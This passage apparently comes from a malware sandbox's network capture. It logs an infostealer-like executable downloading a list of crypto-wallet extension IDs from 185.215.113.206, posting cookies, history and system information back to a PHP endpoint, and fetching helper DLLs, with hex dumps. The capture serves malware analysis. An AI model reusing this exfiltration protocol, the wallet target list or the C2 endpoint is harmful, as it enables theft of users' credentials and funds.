TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 30, 2024 20:13:02.157939911 CET	112	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtp
Oct 30, 2024 20:13:02.157951117 CET	1236	IN	Data Raw: 63 47 68 6c 5a 57 6c 71 61 57 31 6b 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 Data Ascii: cGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9
Oct 30, 2024 20:13:02.158154964 CET	1236	IN	Data Raw: 61 6d 39 38 4d 58 77 77 66 44 42 38 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 Data Ascii: am98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2p
Oct 30, 2024 20:13:02.158168077 CET	1236	IN	Data Raw: 5a 32 70 6c 62 57 56 72 5a 57 4a 6b 63 47 56 76 61 32 4a 70 61 32 68 6d 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 46 79 64 47 6c 68 62 69 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 5a 57 5a 69 5a 32 78 6e 62 32 5a 76 61 58 42 77 59 6d Data Ascii: Z2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3B
Oct 30, 2024 20:13:02.158535957 CET	1236	IN	Data Raw: 62 47 31 6e 59 57 35 6d 59 57 46 73 61 32 78 69 66 44 46 38 4d 48 77 77 66 45 4e 76 62 57 31 76 62 6b 74 6c 65 58 78 6a 61 47 64 6d 5a 57 5a 71 63 47 4e 76 59 6d 5a 69 62 6e 42 74 61 57 39 72 5a 6d 70 71 59 57 64 73 59 57 68 74 62 6d 52 6c 5a 48 Data Ascii: bG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR
Oct 30, 2024 20:13:02.158549070 CET	848	IN	Data Raw: 63 47 4e 6e 5a 57 78 76 63 47 64 38 4d 58 77 77 66 44 42 38 51 32 39 74 63 47 46 7a 63 79 42 58 59 57 78 73 5a 58 51 67 5a 6d 39 79 49 46 4e 6c 61 58 78 68 62 6d 39 72 5a 32 31 77 61 47 35 6a 63 47 56 72 61 32 68 6a 62 47 31 70 62 6d 64 77 61 57 Data Ascii: cGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGphY3BrbWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXw
Oct 30, 2024 20:13:02.158827066 CET	204	IN	Data Raw: 62 47 56 30 66 47 35 77 61 48 42 73 63 47 64 76 59 57 74 6f 61 47 70 6a 61 47 74 72 61 47 31 70 5a 32 64 68 61 32 6c 71 62 6d 74 6f 5a 6d 35 6b 66 44 46 38 4d 48 77 77 66 45 31 35 56 47 39 75 56 32 46 73 62 47 56 30 66 47 5a 73 5a 47 5a 77 5a 32 Data Ascii: bGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF8MHwwfFVuaXN3YXAgRXh0ZW5zaW9ufG5ucG1mcGxrZm9nZnBtY25ncGxobmJkbm5pbG1jZGNnfDF8MHwwfA==
Oct 30, 2024 20:13:02.169555902 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJEGDBGDBFIJKECBAKFB Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 32 64 31 31 66 36 36 65 63 62 63 64 30 39 30 38 34 66 32 66 35 30 65 39 38 62 33 39 38 62 30 62 31 65 66 34 34 38 31 37 62 62 38 33 34 37 66 62 66 30 35 61 37 66 33 66 32 30 61 32 31 61 30 30 65 30 38 33 34 61 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 2d 2d 0d 0a Data Ascii: ------IJEGDBGDBFIJKECBAKFBContent-Disposition: form-data; name="token"822d11f66ecbcd09084f2f50e98b398b0b1ef44817bb8347fbf05a7f3f20a21a00e0834a------IJEGDBGDBFIJKECBAKFBContent-Disposition: form-data; name="message"fplugins------IJEGDBGDBFIJKECBAKFB--
Oct 30, 2024 20:13:02.449702978 CET	335	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:13:02 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 30, 2024 20:13:02.467263937 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGCFCFBKFCFCBGDGIEGH Host: 185.215.113.206 Content-Length: 5907 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 20:13:02.467341900 CET	5907	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 47 43 46 43 46 42 4b 46 43 46 43 42 47 44 47 49 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 32 64 31 31 Data Ascii: ------CGCFCFBKFCFCBGDGIEGHContent-Disposition: form-data; name="token"822d11f66ecbcd09084f2f50e98b398b0b1ef44817bb8347fbf05a7f3f20a21a00e0834a------CGCFCFBKFCFCBGDGIEGHContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 30, 2024 20:13:03.272200108 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:13:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 20:13:03.539050102 CET	94	OUT	GET /746f34465cf17784/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 30, 2024 20:13:03.816761971 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:13:03 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 30, 2024 20:13:03.816806078 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49758	185.215.113.206	80	7480	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 20:13:17.345032930 CET	202	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJECAAKKFHCFIECAAAKE Host: 185.215.113.206 Content-Length: 991 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 20:13:17.345055103 CET	991	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 45 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 32 64 31 31 Data Ascii: ------HJECAAKKFHCFIECAAAKEContent-Disposition: form-data; name="token"822d11f66ecbcd09084f2f50e98b398b0b1ef44817bb8347fbf05a7f3f20a21a00e0834a------HJECAAKKFHCFIECAAAKEContent-Disposition: form-data; name="file_name"Y29va2llc1xHb
Oct 30, 2024 20:13:18.769218922 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:13:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 20:13:18.878793955 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGCAAFBFBKFIDGDHJDBK Host: 185.215.113.206 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 20:13:18.878823996 CET	1451	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 32 64 31 31 Data Ascii: ------DGCAAFBFBKFIDGDHJDBKContent-Disposition: form-data; name="token"822d11f66ecbcd09084f2f50e98b398b0b1ef44817bb8347fbf05a7f3f20a21a00e0834a------DGCAAFBFBKFIDGDHJDBKContent-Disposition: form-data; name="file_name"aGlzdG9yeVxHb
Oct 30, 2024 20:13:19.665760040 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:13:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 20:13:19.693182945 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKJDBAAAEHIEGCAKFHCG Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 42 41 41 41 45 48 49 45 47 43 41 4b 46 48 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 32 64 31 31 66 36 36 65 63 62 63 64 30 39 30 38 34 66 32 66 35 30 65 39 38 62 33 39 38 62 30 62 31 65 66 34 34 38 31 37 62 62 38 33 34 37 66 62 66 30 35 61 37 66 33 66 32 30 61 32 31 61 30 30 65 30 38 33 34 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 42 41 41 41 45 48 49 45 47 43 41 4b 46 48 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 42 41 41 41 45 48 49 45 47 43 41 4b 46 48 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JKJDBAAAEHIEGCAKFHCGContent-Disposition: form-data; name="token"822d11f66ecbcd09084f2f50e98b398b0b1ef44817bb8347fbf05a7f3f20a21a00e0834a------JKJDBAAAEHIEGCAKFHCGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JKJDBAAAEHIEGCAKFHCGContent-Disposition: form-data; name="file"------JKJDBAAAEHIEGCAKFHCG--
Oct 30, 2024 20:13:20.467799902 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:13:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 20:13:20.884124994 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGCAAFBFBKFIDGDHJDBK Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 32 64 31 31 66 36 36 65 63 62 63 64 30 39 30 38 34 66 32 66 35 30 65 39 38 62 33 39 38 62 30 62 31 65 66 34 34 38 31 37 62 62 38 33 34 37 66 62 66 30 35 61 37 66 33 66 32 30 61 32 31 61 30 30 65 30 38 33 34 61 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------DGCAAFBFBKFIDGDHJDBKContent-Disposition: form-data; name="token"822d11f66ecbcd09084f2f50e98b398b0b1ef44817bb8347fbf05a7f3f20a21a00e0834a------DGCAAFBFBKFIDGDHJDBKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DGCAAFBFBKFIDGDHJDBKContent-Disposition: form-data; name="file"------DGCAAFBFBKFIDGDHJDBK--
Oct 30, 2024 20:13:21.675127983 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:13:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 20:13:21.886662960 CET	94	OUT	GET /746f34465cf17784/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 30, 2024 20:13:22.169378996 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:13:22 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 30, 2024 20:13:22.169440985 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Oct 30, 2024 20:13:22.169477940 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Oct 30, 2024 20:13:22.169578075 CET	636	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Oct 30, 2024 20:13:22.169614077 CET	1236	IN	Data Raw: 74 09 5e 5f 5b 5d e9 da ff 07 00 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 8b 7d 08 85 ff 74 56 8b 45 0c c7 47 08 00 00 00 00 89 47 04 8b 48 04 ff 15 00 80 0a 10 ff d1 89 07 be ff ff ff ff 85 c0 74 49 8b 55 10 89 f9 ff 75 18 ff 75 14 e8 40 00 Data Ascii: t^_[]^_[]USWV}tVEGGHtIUuu@t0t,GHjShv1^_[]USWVLU01E}Yt9vhC9Us[KSFH
Oct 30, 2024 20:13:22.169684887 CET	1236	IN	Data Raw: 46 04 8b 48 14 8b 58 1c 83 c6 0c ff 15 00 80 0a 10 53 56 57 ff d1 83 c4 0c 5e 5f 5b 5d c3 cc cc 55 89 e5 53 57 56 8b 75 0c 8b 7d 10 8b 45 08 8b 18 8b 40 04 8b 48 14 ff 15 00 80 0a 10 57 56 53 ff d1 83 c4 0c 5e 5f 5b 5d c3 cc cc cc cc cc cc 55 89 Data Ascii: FHXSVW^_[]USWVu}E@HWVS^_[]USWVPM}G9vhuHuVuSO;upISEGHpVSu7GHES]SV
Oct 30, 2024 20:13:22.169718981 CET	1236	IN	Data Raw: 8b 75 1c 8b 45 14 39 f0 73 14 68 03 e0 ff ff e8 3b f6 07 00 83 c4 04 b8 ff ff ff ff eb 16 8b 55 0c 8b 4d 08 56 ff 75 18 50 ff 75 10 e8 0b 00 00 00 83 c4 10 5e 5d c3 cc cc cc cc cc 55 89 e5 53 57 56 83 ec 34 89 4d f0 8b 45 14 89 45 d8 39 45 0c 73 Data Ascii: uE9sh;UMVuPu^]USWV4MEE9EshyU}]E}}aM}$7$7u2M$E}$7$7u
Oct 30, 2024 20:13:22.169753075 CET	1236	IN	Data Raw: 5b d2 66 0f 70 e1 f5 66 0f f4 ca 66 0f 70 d2 f5 66 0f f4 d4 66 0f 6f e0 66 0f fe 25 00 21 08 10 66 0f 70 c9 e8 66 0f 70 d2 e8 66 0f 62 ca 66 0f 6e 54 07 04 66 0f 60 d3 66 0f 61 d3 66 0f eb cf 66 0f 72 f4 17 66 0f fe e5 f3 0f 5b e4 66 0f 70 ea f5 Data Ascii: [fpffpffof%!fpfpfbfnTf`faffrf[fpffpffpfpfbff!~sMEMEUxEUMfEMUTFtFMUEM)
Oct 30, 2024 20:13:22.170238018 CET	1236	IN	Data Raw: 8b 55 f0 0f b6 14 02 00 d3 0f b6 f3 8b 7d f0 8a 34 37 8b 7d f0 88 34 07 8b 45 f0 88 14 30 00 d6 0f b6 c6 8b 55 f0 0f b6 04 02 c1 e0 10 09 c8 8b 4d e8 8b 55 ec 01 d1 83 c1 04 0f b6 c9 8b 55 f0 0f b6 14 0a 00 d3 0f b6 f3 8b 7d f0 8a 34 37 8b 7d f0 Data Ascii: U}47}4E0UMUU}47}4M1uU3UMEM}}Eu;uUM}Et}EPEE
